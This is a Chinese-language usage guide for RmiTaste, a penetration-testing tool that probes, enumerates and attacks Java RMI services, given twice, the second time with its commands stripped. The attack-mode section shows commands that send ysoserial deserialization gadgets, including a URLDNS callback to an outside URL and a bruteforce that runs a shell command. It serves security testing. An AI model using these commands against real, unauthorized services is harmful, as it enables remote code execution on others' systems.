RmiTaste:一款针对RMI服务的检测&枚举&交互&攻击工具
字数 1078 2025-08-15 21:32:50

RmiTaste工具使用详解

工具概述

RmiTaste是一款针对RMI(Remote Method Invocation)服务的检测、枚举、交互和攻击工具,由Marcin Ogorzelski (mzero - @_mzer0)开发。该工具主要帮助安全研究人员识别目标系统中不安全的RMI服务。

重要警告

  • 未经授权访问计算机系统是违法行为
  • 使用RmiTaste必须获得目标系统的事先授权
  • 开发者不对任何滥用或由此程序造成的损害负责

环境要求

  • OpenJDK v11.0.3
  • Maven (用于构建项目)
  • ysoserial-master-SNAPSHOT.jar (需下载并放入libs_attack目录)

安装与构建

  1. 下载ysoserial并放入libs_attack目录:

    https://github.com/frohoff/ysoserial
    
  2. 使用Maven构建项目:

    mvn package
    
  3. 基本运行命令:

    java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste -h
    

工具模式

RmiTaste提供四种运行模式:

1. 连接模式(conn)

用于检测目标端口是否为RMI服务端口。

命令格式

java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste conn -t <目标IP> -p <端口>

示例

java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste conn -t 127.0.0.1 -p 1099

2. 枚举模式(enum)

用于获取RMI服务的详细信息,包括:

  • 远程对象名
  • 远程对象实现和继承的类名
  • 远程方法(如果接口在类路径中可访问)

命令格式

java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste enum -t <目标IP> -p <端口>

示例

java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste enum -t 127.0.0.1 -p 1099

注意:如果枚举结果显示"没有找到方法",需要将远程对象接口的jar文件(如rmitaste.examples-1.0-SNAPSHOT-all.jar)放入libs_attack目录。

3. 攻击模式(attack)

使用ysoserial特定的实用工具链来调用远程方法,测试Java反序列化漏洞。

命令格式

java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t <目标IP> -p <端口> [选项]

选项

  • -g:指定ysoserial gadget (如"URLDNS")
  • -c:指定命令或URL
  • -m:指定要攻击的方法
  • -gen bruteforce:对所有gadget进行暴力破解测试

示例

  1. 使用URLDNS gadget调用所有远程方法:

    java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -g "URLDNS" -c "http://rce.mzero.pl"
    
  2. 调用特定方法:

    java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:deposit" -g "URLDNS" -c "http://rce.mzero.pl"
    
  3. 暴力破解测试:

    java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:deposit" -gen bruteforce -c "ping 127.0.0.1"
    

4. 调用模式(call)

调用RMI远程对象的特定方法。

命令格式

java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste call -t <目标IP> -p <端口> -m <方法> [选项]

选项

  • -mp:指定方法参数

示例

  1. 调用无参数方法:

    java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste call -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:getBalance"
    
  2. 调用带参数方法:

    java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste call -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:setPin" -mp "string=1234"
    

实际使用示例

  1. 首先运行样本服务器

  2. 进行对象枚举:

    java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste enum -t 127.0.0.1 -p 1099
    

    如果结果显示"没有找到方法",需要将远程对象接口的jar文件放入libs_attack目录。

  3. 成功枚举后,可以看到类似输出:

    acc1 [object] [127.0.1.1:42881] 
    implements java.rmi.Remote [interface] 
    extends java.lang.reflect.Proxy [class] 
    implements m0.rmitaste.example.server.ClientAccount [interface] 
    
    setPin(java.lang.String param0); [method] 
    Parameters: param0; may be vulnerable to Java Deserialization! [info] 
    
    getBalance(); [method] 
    
    deposit(java.lang.Object param0); [method] 
    Parameters: param0; may be vulnerable to Java Deserialization! [info] 
    
    withdraw(float param0); [method]
    

项目地址

RmiTaste GitHub仓库:
GitHub传送门

安全提示

  • 仅在有合法授权的情况下使用此工具
  • 注意工具使用可能带来的法律风险
  • 建议在受控环境中进行测试和学习
RmiTaste工具使用详解 工具概述 RmiTaste是一款针对RMI(Remote Method Invocation)服务的检测、枚举、交互和攻击工具,由Marcin Ogorzelski (mzero - @_ mzer0)开发。该工具主要帮助安全研究人员识别目标系统中不安全的RMI服务。 重要警告 : 未经授权访问计算机系统是违法行为 使用RmiTaste必须获得目标系统的事先授权 开发者不对任何滥用或由此程序造成的损害负责 环境要求 OpenJDK v11.0.3 Maven (用于构建项目) ysoserial-master-SNAPSHOT.jar (需下载并放入libs_ attack目录) 安装与构建 下载ysoserial并放入libs_ attack目录: 使用Maven构建项目: 基本运行命令: 工具模式 RmiTaste提供四种运行模式: 1. 连接模式(conn) 用于检测目标端口是否为RMI服务端口。 命令格式 : 示例 : 2. 枚举模式(enum) 用于获取RMI服务的详细信息,包括: 远程对象名 远程对象实现和继承的类名 远程方法(如果接口在类路径中可访问) 命令格式 : 示例 : 注意 :如果枚举结果显示"没有找到方法",需要将远程对象接口的jar文件(如rmitaste.examples-1.0-SNAPSHOT-all.jar)放入libs_ attack目录。 3. 攻击模式(attack) 使用ysoserial特定的实用工具链来调用远程方法,测试Java反序列化漏洞。 命令格式 : 选项 : -g :指定ysoserial gadget (如"URLDNS") -c :指定命令或URL -m :指定要攻击的方法 -gen bruteforce :对所有gadget进行暴力破解测试 示例 : 使用URLDNS gadget调用所有远程方法: 调用特定方法: 暴力破解测试: 4. 调用模式(call) 调用RMI远程对象的特定方法。 命令格式 : 选项 : -mp :指定方法参数 示例 : 调用无参数方法: 调用带参数方法: 实际使用示例 首先运行样本服务器 进行对象枚举: 如果结果显示"没有找到方法",需要将远程对象接口的jar文件放入libs_ attack目录。 成功枚举后,可以看到类似输出: 项目地址 RmiTaste GitHub仓库: GitHub传送门 安全提示 仅在有合法授权的情况下使用此工具 注意工具使用可能带来的法律风险 建议在受控环境中进行测试和学习